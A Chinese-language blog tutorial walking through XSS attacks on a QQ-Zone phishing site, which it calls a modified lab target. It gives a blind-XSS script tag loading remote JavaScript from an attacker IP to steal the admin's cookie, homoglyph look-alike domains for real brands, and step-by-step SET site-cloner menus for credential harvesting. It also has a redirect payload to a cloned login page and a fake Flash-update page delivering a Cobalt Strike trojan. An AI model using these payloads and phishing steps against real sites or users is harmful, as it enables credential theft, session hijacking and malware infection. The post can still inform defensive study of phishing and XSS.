XSS 实战攻击思路总结

鉴别网站

下面是一个经典的 QQ 空间钓鱼网站:php

域名分析

钓鱼网站最直观的就是看域名,能够看到目标网站域名 :http://qq.xps.com 尽管域名中出现了 qq 字样,可是一级域名倒是 http://xps.com 这一点就直接暴露了钓鱼网站的本性。html

早期还有一种利用拉丁字母注册的域名伪造钓鱼网站的案例,这种就比较逼真了,下面国光简单列举一些:git

OPPO 官网 真假域名github

# 真域名
www.oppo.com

# 假域名
www.οppο.com

Pornhub 官网真假域名web

# 真域名
www.pornhub.com

# 假域名
www.ρornhub.com

惟品会官网 真假域名sql

# 真域名
www.vip.com

# 假域名
www.νip.com

关于这类域名就再也不列举了,早期这种方法成功率是很是的高的,有时候甚至均可以欺骗到咱们这种专业的信息安全从业者。shell

功能分析

钓鱼网站既然是要钓鱼的话,说那么多半还会有后台管理功能。因此使用常规的目录扫描工具多半能够扫描出一些端倪出来:浏览器

dirsearch -u "http://qq.xps.com/" -e * -x 301

果真扫描出了这个 QQ 空间钓鱼网站的后台登陆口了:http://qq.xps.com/admin/login.php安全

至此基本上已经能够肯定这个目标网站就是传说中的钓鱼网站了,下面来看一下这个钓鱼网站是如何运做的吧。cookie

钓鱼流程

小白用户前台输入本身的 QQ 帐号和密码信息,点击登陆后域名跳转到真正的 QQ 官网:

而后用户再输入本身的 QQ 帐号和密码就能够成功登录了。

目前不少钓鱼网站都是这种思路,这可让被钓者产生一种本身第一次是密码不当心输入错误的错觉,从而放松警戒,妙啊!真是妙蛙种子吃着妙脆角,妙进了米奇妙妙屋 妙到家了

而后钓鱼网站的管理员天天会到本身的 QQ 空间钓鱼管理中内心面看看今天又有哪些菜鸡上钩了:

能够看到上钩者的 QQ 号为:1314520 密码为:sbhac... 唉,不对劲?貌似本身被羞辱了一番......

攻击思路

本文主要是来梳理一下 XSS 常剑的攻击思路,关于 XSS 觉得的思路不在本文的叙述范围内,另外若是有小伙伴要不错新的姿式的话欢迎评论区里面或者邮件留言,国光往后会继续完善本文的。

思路一:XSS 盲打

若是目标网站存在 XSS 的话且没有 httponly 防护 cookie 那么就能够直接盲打 XSS。首先准备一个 XSS 靶场,国光这里比较推荐 Github 上面开源的蓝莲花 XSS 平台。

官方项目地址为:https://github.com/firesunCN/BlueLotus_XSSReceiver

惋惜已经清空数据了,还好国光我 fork 了一份:

国光 fork 的项目地址为:https://github.com/sqlsec/BlueLotus_XSSReceiver

而后使用 XSS 平台里面的模块来生成一个 XSS payload:

<script src="http://10.20.24.244/xss/myjs/x.js"></script>

能够去掉多余的双引号:

<script src=http://10.20.24.244/xss/myjs/x.js></script>

而后回到钓鱼网站前台,在用户名或者密码出插入 payload(理论上来讲 密码处成功率要高一点),若是有表单长度限制的话,能够手工审查元素修改 input 的长度限制:

这样黑客攻击的步骤基本上就走完了,下面回到钓鱼网站管理员的视角。

钓鱼网站的搭建者到本身的 QQ 空间钓鱼管理中内心面看看今天又有哪些菜鸡上钩了:

发现真的有菜鸡上钩,密码竟然是 1111111111 嘴角忍不住上仰。

此时他不知道的是,用户帐号旁边实际上有一串 JS 代码被解析了,而此时黑客在 XSS 平台里面能够直接看到管理员已经上钩了:

能够直接看到管理员的后台地址和 cookie 信息,拿到后台地址和 Cookie 信息就能够直接抓包替换 Cookie 登陆到钓鱼网站的后台,这些基本操做国光我就不在啰嗦了,下面来讲一下另外一种思路。

思路二:SET 钓鱼

假设目标网站存在 httppnly 的话,咱们拿到的 cookie 信息也是不完整的,因此传统的思路是行不通的,这种状况下该怎么办呢?仔细想一想,既然不能正面肛 httponly 的话,那么为何不考虑绕过他呢?

下面国光主要描述一下如何使用 Kali Linux 里面的 set 社工工程学工具包来进行钓鱼。

SET 在 Kali Linux 里面的全称是 social engineering toolkit:

Github 项目地址为https://github.com/trustedsec/social-engineer-toolkit

点击便可直接启动,首先会看到以下的菜单:

Select from the menu:

   1) Social-Engineering Attacks         # 社会工程攻击
   2) Penetration Testing (Fast-Track)   # 渗透测试(快速通道)
   3) Third Party Modules                # 第三方模块
   4) Update the Social-Engineer Toolkit # 更新 SET
   5) Update SET configuration           # 更新 SET 配置
   6) Help, Credits, and About           # 帮助

  99) Exit the Social-Engineer Toolkit   # 退出

set> 1

选择 1 后进入到下面的菜单:

Select from the menu:

   1) Spear-Phishing Attack Vectors        # 鱼叉式网络钓鱼攻击
   2) Website Attack Vectors               # 网站攻击
   3) Infectious Media Generator           # 感染性介质生成
   4) Create a Payload and Listener        # 建立 Payload 和 监听器
   5) Mass Mailer Attack                   # 群发邮件
   6) Arduino-Based Attack Vector          # 基于 Arduino 的攻击
   7) Wireless Access Point Attack Vector  # 无线接入点攻击
   8) QRCode Generator Attack Vector       # 二维码生成器攻击
   9) Powershell Attack Vectors            # Powershell 攻击
  10) Third Party Modules                  # 第三方模块

  99) Return back to the main menu.        # 返回主菜单

set> 2

选择 2 后进入到下面的菜单:

1) Java Applet Attack Method           # Java Applet 攻击
   2) Metasploit Browser Exploit Method   # Metasploit Browser 浏览器攻击
   3) Credential Harvester Attack Method  # 凭证窃取攻击
   4) Tabnabbing Attack Method            # 标签页劫持       
   5) Web Jacking Attack Method           # 网页劫持攻击
   6) Multi-Attack Web Method             # 综合网页攻击
   7) HTA Attack Method                   # HTA 攻击

  99) Return to Main Menu                 # 返回主菜单

set:webattack> 3

选择 3 进入到下面的菜单:

1) Web Templates       # 网站模板
   2) Site Cloner         # 站点克隆
   3) Custom Import       # 自定义导入

  99) Return to Webattack Menu # 返回主菜单

set:webattack> 2

选择 2 而后具体看下下面的操做:

这个时候一个假的钓鱼网站就制做完成了,访问 Kali Linux 的 80 端 10.20.25.39 效果以下:

这个登陆入口和 http://qq.xps.com/admin/login.php 的登陆口如出一辙:

如今的任务就是想办法让管理员在假的网站里面输入网站的后台用户名和密码信息,那么该怎么诱导管理员点击呢?对,聪明的网友确定想到了,仍是利用 XSS,准备下方的 payload,这个 XSS 的做用就是普通的连接跳转:

<script>window.location.href="http://10.20.25.39/"</script>

而后将这个 payload 插入到钓鱼网站的后台中:

此时管理员到本身的 QQ 空间钓鱼管理中内心面看看今天又有哪些菜鸡上钩了,结果没想到网站浏览器却跳转到了:10.20.25.39 页面,这个就是咱们制做的假的QQ 空间钓鱼管理中心的登陆界面。

若是管理员大意的话,这个时候会觉得登陆会话超期了,须要从新登陆,就在咱们假的网站后台里面输入了真正的密码:

咱们这个假的网站也很是妙,登陆后自动转发到正确的网站登陆成功,真是学以至用呀~~

管理员放松警戒的同时,咱们的 Kali Linux 里也窃取到管理员的明文帐号和密码信息了:

拿到这个后台就能够成功登录了,Bingo ~

固然若是管理员是一个有很高安全意识的人,多是不会上当的,本案例仅供意淫参考使用,实际运用仍是得看运气。

思路三:Flash 钓鱼

这也是 B 站 视频里面提到过的方法,首先咱们须要准备一个钓鱼页面,这里在 Github 上搜索到了 2 个 相关的项目,下面分别展现一下:

项目地址https://github.com/Wileysec/adobe-flash-phishing-page

模仿的 Flash Player 中文官网的页面

项目地址https://github.com/r00tSe7en/Flash-Pop

这种的就要稍微激进一点,强迫症都会忍不住去点击下载的:

国光这里选择了第 2 种激进的方法,点击当即升级的这个按钮点击会下载好国光我准备好的 CS 木马。若是管理员觉得本身的 Flash 版本太低的话,可能会下载并运行这个木马:

这里偷懒了没有给 Flash.exe 添加图标伪造一下,关于图标伪造你们能够参考以前的文章:

为 Cobalt Strike exe 木马添加图标

若是顺利的话就会成功上线 CS:

总结

免责声明:本文出现的思路案例仅供网络安全学习和研究技术使用,禁止使用本文的攻击技术工具用于非法用途,不然后果自负,另外文中所使用的 QQ 空间钓鱼网站是人为修改的漏洞靶场。

相关文章
相关标签/搜索